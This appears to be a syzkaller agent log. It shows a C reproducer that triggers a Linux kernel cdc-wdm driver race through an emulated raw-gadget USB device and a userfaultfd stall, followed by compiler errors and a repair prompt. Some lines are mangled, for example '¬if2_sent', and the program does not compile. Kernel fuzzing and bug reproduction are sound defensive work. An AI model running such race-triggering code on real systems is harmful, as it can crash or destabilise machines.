event_init(¬if2_sent);
pthread_t tid_gadget, tid_ep1, tid_uffd;
pthread_create(&tid_gadget, NULL, gadget_thread, NULL);
pthread_create(&tid_ep1, NULL, ep1_thread, NULL);
event_wait(&gadget_ready);
printf("[+] Waiting for /dev/cdc-wdmX to appear...\n");
usleep(500000);
char dev_path[64] = "/dev/cdc-wdm0";
int fd_wdm = -1;
for (int i = 0; i < 10; i++) {
sprintf(dev_path, "/dev/cdc-wdm%d", i);
fd_wdm = open(dev_path, O_RDWR);
if (fd_wdm >= 0) {
printf("[+] Opened %s\n", dev_path);
break;
}
}
if (fd_wdm < 0) {
sleep(1);
for (int i = 0; i < 10; i++) {
sprintf(dev_path, "/dev/cdc-wdm%d", i);
fd_wdm = open(dev_path, O_RDWR);
if (fd_wdm >= 0) {
printf("[+] Opened %s\n", dev_path);
break;
}
}
if (fd_wdm < 0) {
fprintf(stderr, "[-] Failed to open cdc-wdm device\n");
exit(1);
}
}
void *addr = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (addr == MAP_FAILED) {
perror("mmap");
exit(1);
}
int uffd = setup_uffd(addr, 4096);
if (uffd < 0) {
fprintf(stderr, "[-] Failed to setup uffd\n");
exit(1);
}
pthread_create(&tid_uffd, NULL, uffd_thread, (void *)(long)uffd);
printf("[+] Calling read() on %s...\n", dev_path);
int ret = read(fd_wdm, addr, 10);
if (ret < 0) {
perror("read fd_wdm");
} else {
printf("[+] read() returned %d\n", ret);
}
// Wait a bit for the WARNING to be printed
sleep(2);
printf("[+] Done.\n");
return 0;
}
In file included from <stdin>:2:
<stdin>:226:12: error: initializer element is not constant
<stdin>:226:12: note: (near initialization for 'dev_desc.bcdUSB')
<stdin>:231:14: error: initializer element is not constant
<stdin>:231:14: note: (near initialization for 'dev_desc.idVendor')
<stdin>:232:15: error: initializer element is not constant
<stdin>:232:15: note: (near initialization for 'dev_desc.idProduct')
<stdin>:233:15: error: initializer element is not constant
<stdin>:233:15: note: (near initialization for 'dev_desc.bcdDevice')
<stdin>:256:19: error: initializer element is not constant
<stdin>:256:19: note: (near initialization for 'conf_desc.conf.wTotalLength')
<stdin>:278:13: error: initializer element is not constant
<stdin>:278:13: note: (near initialization for 'conf_desc.cdc_hdr.bcdCDC')
<stdin>:285:21: error: initializer element is not constant
<stdin>:285:21: note: (near initialization for 'conf_desc.ep_in.wMaxPacketSize')
cc1: note: unrecognized command-line option '-Wno-unused-command-line-argument' may have been intended to silence earlier diagnostics
compiler invocation: gcc [-o /tmp/syz-executor2902377662 -DGOOS_linux=1 -DGOARCH_amd64=1 -DHOSTGOOS_linux=1 -x c - -m64 -O2 -pthread -Wall -Werror -Wparentheses -Wunused-const-variable -Wframe-larger-than=16384 -Wno-stringop-overflow -Wno-array-bounds -Wno-format-overflow -Wno-unused-but-set-variable -Wno-unused-command-line-argument -static-pie -fpermissive -w] FormattedReproC:]
|
| 419/5 |
2026/09/11 23:40 |
action |
If |
1m
Args: map[CompilerError:failed to build program:
#define _GNU_SOURCE
#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/usb/ch9.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <unistd.h>
// Copyright 2026 syzkaller project authors. All rights reserved.
// Use of this source code is governed by Apache 2 LICENSE that can be found in the LICENSE file.
// IMPORTANT: Do not copy the macros or definitions below directly into your reproducer.
// Instead, add the following line to your reproducer:
// #include "race_toolkit.h"
// --- Race Condition Toolkit ---
// Macros and snippets for CPU pinning, memory barriers, and userfaultfd.
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <linux/futex.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <time.h>
#include <unistd.h>
// Unbuffered I/O: Ensure logs are written immediately.
#define SETUP_UNBUFFERED_IO() setvbuf(stdout, NULL, _IONBF, 0)
// CPU Pinning: Pin the current thread to a specific CPU core.
#define PIN_TO_CPU(cpu) \
do { \
cpu_set_t mask; \
CPU_ZERO(&mask); \
CPU_SET(cpu, &mask); \
if (sched_setaffinity(0, sizeof(mask), &mask) == -1) { \
perror("sched_setaffinity"); \
} \
} while (0)
// Memory Barrier: Ensure memory ordering.
#define MB() __atomic_thread_fence(__ATOMIC_SEQ_CST)
// Spin-wait Barrier: Wait until a memory location has a specific value.
// Best for tight race windows (low latency, no context switches).
#define WAIT_ON(addr, val) \
do { \
while (__atomic_load_n(addr, __ATOMIC_ACQUIRE) != (val)) \
; \
} while (0)
// Signal: Set a memory location to a specific value to release a WAIT_ON.
#define SIGNAL(addr, val) __atomic_store_n(addr, val, __ATOMIC_RELEASE)
// --- Timing Primitives ---
// Robust timing loops in VM environments (using CLOCK_MONOTONIC to avoid time(NULL) jumps).
static inline double timer_elapsed_sec(struct timespec* start)
{
struct timespec now;
if (clock_gettime(CLOCK_MONOTONIC, &now) == -1) {
perror("clock_gettime(CLOCK_MONOTONIC) elapsed");
exit(1);
}
return (double)(now.tv_sec - start->tv_sec) + (double)(now.tv_nsec - start->tv_nsec) / 1e9;
}
// Initialize a monotonic timer variable.
#define TIMER_START(t) \
struct timespec t; \
if (clock_gettime(CLOCK_MONOTONIC, &t) == -1) { \
perror("clock_gettime(CLOCK_MONOTONIC) start"); \
exit(1); \
}
// Check if the elapsed time since 't' is less than 'sec' seconds.
#define TIMER_NOT_EXPIRED(t, sec) (timer_elapsed_sec(&(t)) < (double)(sec))
// Futex-based Event: Shared with syzkaller executor.
// Best for general synchronization or longer waits to save CPU.
typedef struct {
int state;
} event_t;
static void event_init(event_t* ev)
{
ev->state = 0;
}
static void event_reset(event_t* ev)
{
ev->state = 0;
}
static void event_set(event_t* ev)
{
if (__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE)) {
fprintf(stderr, "event already set\n");
exit(1);
}
__atomic_store_n(&ev->state, 1, __ATOMIC_RELEASE);
syscall(SYS_futex, &ev->state, FUTEX_WAKE | FUTEX_PRIVATE_FLAG, 1000000);
}
static void event_wait(event_t* ev)
{
while (!__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE))
syscall(SYS_futex, &ev->state, FUTEX_WAIT | FUTEX_PRIVATE_FLAG, 0, 0);
}
// userfaultfd setup: Register a memory range for page fault handling.
static int setup_uffd(void* addr, size_t len)
{
int uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
if (uffd == -1)
return -1;
struct uffdio_api api = {.api = UFFD_API, .features = 0};
if (ioctl(uffd, UFFDIO_API, &api) == -1) {
close(uffd);
return -1;
}
struct uffdio_register reg = {
.range = {.start = (uintptr_t)addr, .len = len},
.mode = UFFDIO_REGISTER_MODE_MISSING};
if (ioctl(uffd, UFFDIO_REGISTER, ®) == -1) {
close(uffd);
return -1;
}
return uffd;
}
// --- Guidance on Usage ---
// 1. Use WAIT_ON/SIGNAL for tight race conditions to avoid scheduling overhead.
// 2. Use event_t (futexes) for general coordination or when waiting for longer periods.
// 3. Always use PIN_TO_CPU to increase race probability on multi-core systems.
// 4. Use setup_uffd to register a memory range for page fault handling. This allows you to
// pause a thread accessing that memory until you handle the fault, creating a reliable
// and controllable race window.
// 5. Call SETUP_UNBUFFERED_IO() at the start of main() to ensure that logs are printed
// immediately. This is essential for understanding the exact interleaving of events
// when debugging race conditions.
// 6. For timing-based loops (e.g., running a race for 10 seconds), do NOT use time(NULL)
// or loops relying on real-time clocks, as VM clocks are highly unreliable and can fail or drift.
// Instead, use the robust monotonic timing primitives TIMER_START and TIMER_NOT_EXPIRED:
// TIMER_START(start);
// while (TIMER_NOT_EXPIRED(start, 10.0)) {
// // Your race logic here
// }
#define UDC_NAME_LENGTH_MAX 128
struct usb_raw_init {
__u8 driver_name[UDC_NAME_LENGTH_MAX];
__u8 device_name[UDC_NAME_LENGTH_MAX];
__u8 speed;
};
enum usb_raw_event_type {
USB_RAW_EVENT_INVALID = 0,
USB_RAW_EVENT_CONNECT = 1,
USB_RAW_EVENT_CONTROL = 2,
};
struct usb_raw_event {
__u32 type;
__u32 length;
__u8 data[0];
};
struct usb_raw_ep_io {
__u16 ep;
__u16 flags;
__u32 length;
__u8 data[0];
};
#define USB_RAW_IOCTL_INIT _IOW('U', 0, struct usb_raw_init)
#define USB_RAW_IOCTL_RUN _IO('U', 1)
#define USB_RAW_IOCTL_EVENT_FETCH _IOR('U', 2, struct usb_raw_event)
#define USB_RAW_IOCTL_EP0_WRITE _IOW('U', 3, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_EP0_READ _IOWR('U', 4, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_EP_ENABLE _IOW('U', 5, struct usb_endpoint_descriptor)
#define USB_RAW_IOCTL_EP_WRITE _IOW('U', 7, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_CONFIGURE _IO('U', 9)
#define USB_RAW_IOCTL_EP0_STALL _IO('U', 12)
#define USB_RAW_IOCTL_EP_SET_HALT _IOW('U', 13, __u32)
struct usb_raw_event_ext {
struct usb_raw_event inner;
__u8 data[64];
};
struct usb_raw_ep_io_ext {
struct usb_raw_ep_io inner;
__u8 data[256];
};
struct usb_cdc_notification {
__u8 bmRequestType;
__u8 bNotificationType;
__le16 wValue;
__le16 wIndex;
__le16 wLength;
} __attribute__ ((packed));
struct usb_device_descriptor dev_desc = {
.bLength = sizeof(dev_desc),
.bDescriptorType = USB_DT_DEVICE,
.bcdUSB = htole16(0x0200),
.bDeviceClass = 2,
.bDeviceSubClass = 0,
.bDeviceProtocol = 0,
.bMaxPacketSize0 = 64,
.idVendor = htole16(0x0525),
.idProduct = htole16(0xa4a7),
.bcdDevice = htole16(0x0100),
.iManufacturer = 0,
.iProduct = 0,
.iSerialNumber = 0,
.bNumConfigurations = 1,
};
struct usb_cdc_header_desc {
__u8 bLength;
__u8 bDescriptorType;
__u8 bDescriptorSubType;
__le16 bcdCDC;
} __attribute__((packed));
struct {
struct usb_config_descriptor conf;
struct usb_interface_descriptor intf;
struct usb_cdc_header_desc cdc_hdr;
struct usb_endpoint_descriptor ep_in;
} __attribute__((packed)) conf_desc = {
.conf = {
.bLength = sizeof(conf_desc.conf),
.bDescriptorType = USB_DT_CONFIG,
.wTotalLength = htole16(sizeof(conf_desc)),
.bNumInterfaces = 1,
.bConfigurationValue = 1,
.iConfiguration = 0,
.bmAttributes = USB_CONFIG_ATT_ONE | USB_CONFIG_ATT_SELFPOWER,
.bMaxPower = 50,
},
.intf = {
.bLength = sizeof(conf_desc.intf),
.bDescriptorType = USB_DT_INTERFACE,
.bInterfaceNumber = 0,
.bAlternateSetting = 0,
.bNumEndpoints = 1,
.bInterfaceClass = 2, // USB_CLASS_COMM
.bInterfaceSubClass = 9, // USB_CDC_SUBCLASS_DMM
.bInterfaceProtocol = 0,
.iInterface = 0,
},
.cdc_hdr = {
.bLength = sizeof(conf_desc.cdc_hdr),
.bDescriptorType = 0x24, // USB_DT_CS_INTERFACE
.bDescriptorSubType = 0x00, // USB_CDC_HEADER_TYPE
.bcdCDC = htole16(0x0110),
},
.ep_in = {
.bLength = sizeof(conf_desc.ep_in),
.bDescriptorType = USB_DT_ENDPOINT,
.bEndpointAddress = 0x81, // EP1 IN
.bmAttributes = USB_ENDPOINT_XFER_INT,
.wMaxPacketSize = htole16(64),
.bInterval = 1,
},
};
int fd_raw;
int ep_in = -1;
event_t gadget_ready;
event_t read_blocked;
event_t resolve_uffd;
event_t notif2_sent;
void setup_gadget() {
fd_raw = open("/dev/raw-gadget", O_RDWR);
if (fd_raw < 0) {
perror("open /dev/raw-gadget");
exit(1);
}
struct usb_raw_init init = {
.driver_name = "dummy_udc",
.device_name = "dummy_udc.0",
.speed = USB_SPEED_HIGH,
};
if (ioctl(fd_raw, USB_RAW_IOCTL_INIT, &init) < 0) {
perror("USB_RAW_IOCTL_INIT");
exit(1);
}
if (ioctl(fd_raw, USB_RAW_IOCTL_RUN, 0UL) < 0) {
perror("USB_RAW_IOCTL_RUN");
exit(1);
}
}
void *gadget_thread(void *arg) {
setup_gadget();
printf("[+] Gadget initialized and running.\n");
while (1) {
struct usb_raw_event_ext event;
event.inner.type = 0;
event.inner.length = sizeof(event.data);
if (ioctl(fd_raw, USB_RAW_IOCTL_EVENT_FETCH, &event) < 0) {
if (errno == EINTR) continue;
perror("USB_RAW_IOCTL_EVENT_FETCH");
break;
}
if (event.inner.type == USB_RAW_EVENT_CONTROL) {
struct usb_ctrlrequest *req = (struct usb_ctrlrequest *)event.data;
struct usb_raw_ep_io_ext io;
io.inner.ep = 0;
io.inner.flags = 0;
io.inner.length = 0;
if (req->bRequestType & USB_DIR_IN) {
if (req->bRequest == USB_REQ_GET_DESCRIPTOR) {
if (req->wValue == (USB_DT_DEVICE << 8)) {
io.inner.length = sizeof(dev_desc);
if (io.inner.length > req->wLength) io.inner.length = req->wLength;
memcpy(io.data, &dev_desc, io.inner.length);
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
} else if (req->wValue == (USB_DT_CONFIG << 8)) {
io.inner.length = sizeof(conf_desc);
if (io.inner.length > req->wLength) io.inner.length = req->wLength;
memcpy(io.data, &conf_desc, io.inner.length);
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
} else {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_STALL, 0UL);
}
} else if (req->bRequestType == 0xA1 && req->bRequest == 0x01) {
static int resp_count = 0;
if (resp_count == 0) {
printf("[+] Received first Control Read (0xA1 0x01), waiting for Notif 2...\n");
event_wait(¬if2_sent);
usleep(100000); // Give host time to process Notif 2
printf("[+] Responding to first Control Read.\n");
io.inner.length = 10;
memset(io.data, 'A', 10);
if (io.inner.length > req->wLength) io.inner.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
resp_count++;
} else {
printf("[+] Received subsequent Control Read (0xA1 0x01), ignoring to hang URB.\n");
// Do nothing, let the host's URB hang active indefinitely
}
} else {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_STALL, 0UL);
}
} else {
// OUT request or zero-length
if (req->bRequest == USB_REQ_SET_CONFIGURATION) {
io.inner.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_READ, &io);
ioctl(fd_raw, USB_RAW_IOCTL_CONFIGURE, 0UL);
ep_in = ioctl(fd_raw, USB_RAW_IOCTL_EP_ENABLE, &conf_desc.ep_in);
if (ep_in >= 0) {
printf("[+] Endpoint EP1 IN enabled (index %d).\n", ep_in);
if (!__atomic_load_n(&gadget_ready.state, __ATOMIC_ACQUIRE))
event_set(&gadget_ready);
} else {
printf("[-] Failed to enable EP1 IN\n");
}
} else {
io.inner.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_READ, &io);
}
}
}
}
return NULL;
}
void *ep1_thread(void *arg) {
event_wait(&gadget_ready);
usleep(200000); // Wait for host to fully enumerate and submit int urb
struct usb_cdc_notification notif = {
.bmRequestType = 0xA1,
.bNotificationType = 0x01, // USB_CDC_NOTIFY_RESPONSE_AVAILABLE
.wValue = 0,
.wIndex = 0,
.wLength = 0,
};
struct usb_raw_ep_io_ext io_ep1;
io_ep1.inner.ep = ep_in;
io_ep1.inner.flags = 0;
io_ep1.inner.length = sizeof(notif);
memcpy(io_ep1.data, ¬if, sizeof(notif));
printf("[+] Sending first notification on EP1...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_WRITE, &io_ep1) < 0) {
perror("USB_RAW_IOCTL_EP_WRITE 1");
}
printf("[+] Sending second notification on EP1...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_WRITE, &io_ep1) < 0) {
perror("USB_RAW_IOCTL_EP_WRITE 2");
}
printf("[+] Second notification sent.\n");
event_set(¬if2_sent);
printf("[+] Waiting for read() to block in userfaultfd...\n");
event_wait(&read_blocked);
printf("[+] Sending STALL on EP1 to trigger wdm_rxwork...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_SET_HALT, (unsigned long)ep_in) < 0) {
perror("USB_RAW_IOCTL_EP_SET_HALT");
}
// Wait for wdm_rxwork to start and submit the URB
usleep(200000);
printf("[+] Resolving userfaultfd to finish read()...\n");
event_set(&resolve_uffd);
return NULL;
}
void *uffd_thread(void *arg) {
int uffd = (int)(long)arg;
struct uffd_msg msg;
if (read(uffd, &msg, sizeof(msg)) != sizeof(msg)) {
perror("read uffd");
exit(1);
}
if (msg.event == UFFD_EVENT_PAGEFAULT) {
printf("[+] Page fault detected in read() buffer.\n");
event_set(&read_blocked);
event_wait(&resolve_uffd);
struct uffdio_copy copy;
char *page = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (page == MAP_FAILED) {
perror("mmap page");
exit(1);
}
memset(page, 0, 4096);
copy.src = (uintptr_t)page;
copy.dst = msg.arg.pagefault.address & ~(4095);
copy.len = 4096;
copy.mode = 0;
copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, ©) < 0) {
perror("UFFDIO_COPY");
}
printf("[+] Page fault resolved.\n");
}
return NULL;
}
int main() {
SETUP_UNBUFFERED_IO();
event_init(&gadget_ready);
event_init(&read_blocked);
event_init(&resolve_uffd);
event_init(¬if2_sent);
pthread_t tid_gadget, tid_ep1, tid_uffd;
pthread_create(&tid_gadget, NULL, gadget_thread, NULL);
pthread_create(&tid_ep1, NULL, ep1_thread, NULL);
event_wait(&gadget_ready);
printf("[+] Waiting for /dev/cdc-wdmX to appear...\n");
usleep(500000);
char dev_path[64] = "/dev/cdc-wdm0";
int fd_wdm = -1;
for (int i = 0; i < 10; i++) {
sprintf(dev_path, "/dev/cdc-wdm%d", i);
fd_wdm = open(dev_path, O_RDWR);
if (fd_wdm >= 0) {
printf("[+] Opened %s\n", dev_path);
break;
}
}
if (fd_wdm < 0) {
sleep(1);
for (int i = 0; i < 10; i++) {
sprintf(dev_path, "/dev/cdc-wdm%d", i);
fd_wdm = open(dev_path, O_RDWR);
if (fd_wdm >= 0) {
printf("[+] Opened %s\n", dev_path);
break;
}
}
if (fd_wdm < 0) {
fprintf(stderr, "[-] Failed to open cdc-wdm device\n");
exit(1);
}
}
void *addr = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (addr == MAP_FAILED) {
perror("mmap");
exit(1);
}
int uffd = setup_uffd(addr, 4096);
if (uffd < 0) {
fprintf(stderr, "[-] Failed to setup uffd\n");
exit(1);
}
pthread_create(&tid_uffd, NULL, uffd_thread, (void *)(long)uffd);
printf("[+] Calling read() on %s...\n", dev_path);
int ret = read(fd_wdm, addr, 10);
if (ret < 0) {
perror("read fd_wdm");
} else {
printf("[+] read() returned %d\n", ret);
}
// Wait a bit for the WARNING to be printed
sleep(2);
printf("[+] Done.\n");
return 0;
}
In file included from <stdin>:2:
<stdin>:226:12: error: initializer element is not constant
<stdin>:226:12: note: (near initialization for 'dev_desc.bcdUSB')
<stdin>:231:14: error: initializer element is not constant
<stdin>:231:14: note: (near initialization for 'dev_desc.idVendor')
<stdin>:232:15: error: initializer element is not constant
<stdin>:232:15: note: (near initialization for 'dev_desc.idProduct')
<stdin>:233:15: error: initializer element is not constant
<stdin>:233:15: note: (near initialization for 'dev_desc.bcdDevice')
<stdin>:256:19: error: initializer element is not constant
<stdin>:256:19: note: (near initialization for 'conf_desc.conf.wTotalLength')
<stdin>:278:13: error: initializer element is not constant
<stdin>:278:13: note: (near initialization for 'conf_desc.cdc_hdr.bcdCDC')
<stdin>:285:21: error: initializer element is not constant
<stdin>:285:21: note: (near initialization for 'conf_desc.ep_in.wMaxPacketSize')
cc1: note: unrecognized command-line option '-Wno-unused-command-line-argument' may have been intended to silence earlier diagnostics
compiler invocation: gcc [-o /tmp/syz-executor2902377662 -DGOOS_linux=1 -DGOARCH_amd64=1 -DHOSTGOOS_linux=1 -x c - -m64 -O2 -pthread -Wall -Werror -Wparentheses -Wunused-const-variable -Wframe-larger-than=16384 -Wno-stringop-overflow -Wno-array-bounds -Wno-format-overflow -Wno-unused-but-set-variable -Wno-unused-command-line-argument -static-pie -fpermissive -w]]
|
| 420/6 |
2026/09/11 23:40 |
agent |
repro-repairer |
1m
Model:
Instruction: You are an experienced C developer.
Your goal is to repair a C program that failed to compile.
Analyze the compiler error and provide a corrected version of the C program.
Make the minimal necessary changes to fix the compilation error.
Preserve the structure, logic, and intent of the original code.
Do NOT replace the program with a dummy placeholder (e.g., an empty main function).
Print only the C program that could be executed directly, without backticks.
Prefer calling several tools at the same time to save round-trips.
Prompt: C Program:
#define _GNU_SOURCE
#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/usb/ch9.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <unistd.h>
#include "race_toolkit.h"
#define UDC_NAME_LENGTH_MAX 128
struct usb_raw_init {
__u8 driver_name[UDC_NAME_LENGTH_MAX];
__u8 device_name[UDC_NAME_LENGTH_MAX];
__u8 speed;
};
enum usb_raw_event_type {
USB_RAW_EVENT_INVALID = 0,
USB_RAW_EVENT_CONNECT = 1,
USB_RAW_EVENT_CONTROL = 2,
};
struct usb_raw_event {
__u32 type;
__u32 length;
__u8 data[0];
};
struct usb_raw_ep_io {
__u16 ep;
__u16 flags;
__u32 length;
__u8 data[0];
};
#define USB_RAW_IOCTL_INIT _IOW('U', 0, struct usb_raw_init)
#define USB_RAW_IOCTL_RUN _IO('U', 1)
#define USB_RAW_IOCTL_EVENT_FETCH _IOR('U', 2, struct usb_raw_event)
#define USB_RAW_IOCTL_EP0_WRITE _IOW('U', 3, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_EP0_READ _IOWR('U', 4, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_EP_ENABLE _IOW('U', 5, struct usb_endpoint_descriptor)
#define USB_RAW_IOCTL_EP_WRITE _IOW('U', 7, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_CONFIGURE _IO('U', 9)
#define USB_RAW_IOCTL_EP0_STALL _IO('U', 12)
#define USB_RAW_IOCTL_EP_SET_HALT _IOW('U', 13, __u32)
struct usb_raw_event_ext {
struct usb_raw_event inner;
__u8 data[64];
};
struct usb_raw_ep_io_ext {
struct usb_raw_ep_io inner;
__u8 data[256];
};
struct usb_cdc_notification {
__u8 bmRequestType;
__u8 bNotificationType;
__le16 wValue;
__le16 wIndex;
__le16 wLength;
} __attribute__ ((packed));
struct usb_device_descriptor dev_desc = {
.bLength = sizeof(dev_desc),
.bDescriptorType = USB_DT_DEVICE,
.bcdUSB = htole16(0x0200),
.bDeviceClass = 2,
.bDeviceSubClass = 0,
.bDeviceProtocol = 0,
.bMaxPacketSize0 = 64,
.idVendor = htole16(0x0525),
.idProduct = htole16(0xa4a7),
.bcdDevice = htole16(0x0100),
.iManufacturer = 0,
.iProduct = 0,
.iSerialNumber = 0,
.bNumConfigurations = 1,
};
struct usb_cdc_header_desc {
__u8 bLength;
__u8 bDescriptorType;
__u8 bDescriptorSubType;
__le16 bcdCDC;
} __attribute__((packed));
struct {
struct usb_config_descriptor conf;
struct usb_interface_descriptor intf;
struct usb_cdc_header_desc cdc_hdr;
struct usb_endpoint_descriptor ep_in;
} __attribute__((packed)) conf_desc = {
.conf = {
.bLength = sizeof(conf_desc.conf),
.bDescriptorType = USB_DT_CONFIG,
.wTotalLength = htole16(sizeof(conf_desc)),
.bNumInterfaces = 1,
.bConfigurationValue = 1,
.iConfiguration = 0,
.bmAttributes = USB_CONFIG_ATT_ONE | USB_CONFIG_ATT_SELFPOWER,
.bMaxPower = 50,
},
.intf = {
.bLength = sizeof(conf_desc.intf),
.bDescriptorType = USB_DT_INTERFACE,
.bInterfaceNumber = 0,
.bAlternateSetting = 0,
.bNumEndpoints = 1,
.bInterfaceClass = 2, // USB_CLASS_COMM
.bInterfaceSubClass = 9, // USB_CDC_SUBCLASS_DMM
.bInterfaceProtocol = 0,
.iInterface = 0,
},
.cdc_hdr = {
.bLength = sizeof(conf_desc.cdc_hdr),
.bDescriptorType = 0x24, // USB_DT_CS_INTERFACE
.bDescriptorSubType = 0x00, // USB_CDC_HEADER_TYPE
.bcdCDC = htole16(0x0110),
},
.ep_in = {
.bLength = sizeof(conf_desc.ep_in),
.bDescriptorType = USB_DT_ENDPOINT,
.bEndpointAddress = 0x81, // EP1 IN
.bmAttributes = USB_ENDPOINT_XFER_INT,
.wMaxPacketSize = htole16(64),
.bInterval = 1,
},
};
int fd_raw;
int ep_in = -1;
event_t gadget_ready;
event_t read_blocked;
event_t resolve_uffd;
event_t notif2_sent;
void setup_gadget() {
fd_raw = open("/dev/raw-gadget", O_RDWR);
if (fd_raw < 0) {
perror("open /dev/raw-gadget");
exit(1);
}
struct usb_raw_init init = {
.driver_name = "dummy_udc",
.device_name = "dummy_udc.0",
.speed = USB_SPEED_HIGH,
};
if (ioctl(fd_raw, USB_RAW_IOCTL_INIT, &init) < 0) {
perror("USB_RAW_IOCTL_INIT");
exit(1);
}
if (ioctl(fd_raw, USB_RAW_IOCTL_RUN, 0UL) < 0) {
perror("USB_RAW_IOCTL_RUN");
exit(1);
}
}
void *gadget_thread(void *arg) {
setup_gadget();
printf("[+] Gadget initialized and running.\n");
while (1) {
struct usb_raw_event_ext event;
event.inner.type = 0;
event.inner.length = sizeof(event.data);
if (ioctl(fd_raw, USB_RAW_IOCTL_EVENT_FETCH, &event) < 0) {
if (errno == EINTR) continue;
perror("USB_RAW_IOCTL_EVENT_FETCH");
break;
}
if (event.inner.type == USB_RAW_EVENT_CONTROL) {
struct usb_ctrlrequest *req = (struct usb_ctrlrequest *)event.data;
struct usb_raw_ep_io_ext io;
io.inner.ep = 0;
io.inner.flags = 0;
io.inner.length = 0;
if (req->bRequestType & USB_DIR_IN) {
if (req->bRequest == USB_REQ_GET_DESCRIPTOR) {
if (req->wValue == (USB_DT_DEVICE << 8)) {
io.inner.length = sizeof(dev_desc);
if (io.inner.length > req->wLength) io.inner.length = req->wLength;
memcpy(io.data, &dev_desc, io.inner.length);
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
} else if (req->wValue == (USB_DT_CONFIG << 8)) {
io.inner.length = sizeof(conf_desc);
if (io.inner.length > req->wLength) io.inner.length = req->wLength;
memcpy(io.data, &conf_desc, io.inner.length);
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
} else {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_STALL, 0UL);
}
} else if (req->bRequestType == 0xA1 && req->bRequest == 0x01) {
static int resp_count = 0;
if (resp_count == 0) {
printf("[+] Received first Control Read (0xA1 0x01), waiting for Notif 2...\n");
event_wait(¬if2_sent);
usleep(100000); // Give host time to process Notif 2
printf("[+] Responding to first Control Read.\n");
io.inner.length = 10;
memset(io.data, 'A', 10);
if (io.inner.length > req->wLength) io.inner.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
resp_count++;
} else {
printf("[+] Received subsequent Control Read (0xA1 0x01), ignoring to hang URB.\n");
// Do nothing, let the host's URB hang active indefinitely
}
} else {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_STALL, 0UL);
}
} else {
// OUT request or zero-length
if (req->bRequest == USB_REQ_SET_CONFIGURATION) {
io.inner.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_READ, &io);
ioctl(fd_raw, USB_RAW_IOCTL_CONFIGURE, 0UL);
ep_in = ioctl(fd_raw, USB_RAW_IOCTL_EP_ENABLE, &conf_desc.ep_in);
if (ep_in >= 0) {
printf("[+] Endpoint EP1 IN enabled (index %d).\n", ep_in);
if (!__atomic_load_n(&gadget_ready.state, __ATOMIC_ACQUIRE))
event_set(&gadget_ready);
} else {
printf("[-] Failed to enable EP1 IN\n");
}
} else {
io.inner.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_READ, &io);
}
}
}
}
return NULL;
}
void *ep1_thread(void *arg) {
event_wait(&gadget_ready);
usleep(200000); // Wait for host to fully enumerate and submit int urb
struct usb_cdc_notification notif = {
.bmRequestType = 0xA1,
.bNotificationType = 0x01, // USB_CDC_NOTIFY_RESPONSE_AVAILABLE
.wValue = 0,
.wIndex = 0,
.wLength = 0,
};
struct usb_raw_ep_io_ext io_ep1;
io_ep1.inner.ep = ep_in;
io_ep1.inner.flags = 0;
io_ep1.inner.length = sizeof(notif);
memcpy(io_ep1.data, ¬if, sizeof(notif));
printf("[+] Sending first notification on EP1...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_WRITE, &io_ep1) < 0) {
perror("USB_RAW_IOCTL_EP_WRITE 1");
}
printf("[+] Sending second notification on EP1...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_WRITE, &io_ep1) < 0) {
perror("USB_RAW_IOCTL_EP_WRITE 2");
}
printf("[+] Second notification sent.\n");
event_set(¬if2_sent);
printf("[+] Waiting for read() to block in userfaultfd...\n");
event_wait(&read_blocked);
printf("[+] Sending STALL on EP1 to trigger wdm_rxwork...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_SET_HALT, (unsigned long)ep_in) < 0) {
perror("USB_RAW_IOCTL_EP_SET_HALT");
}
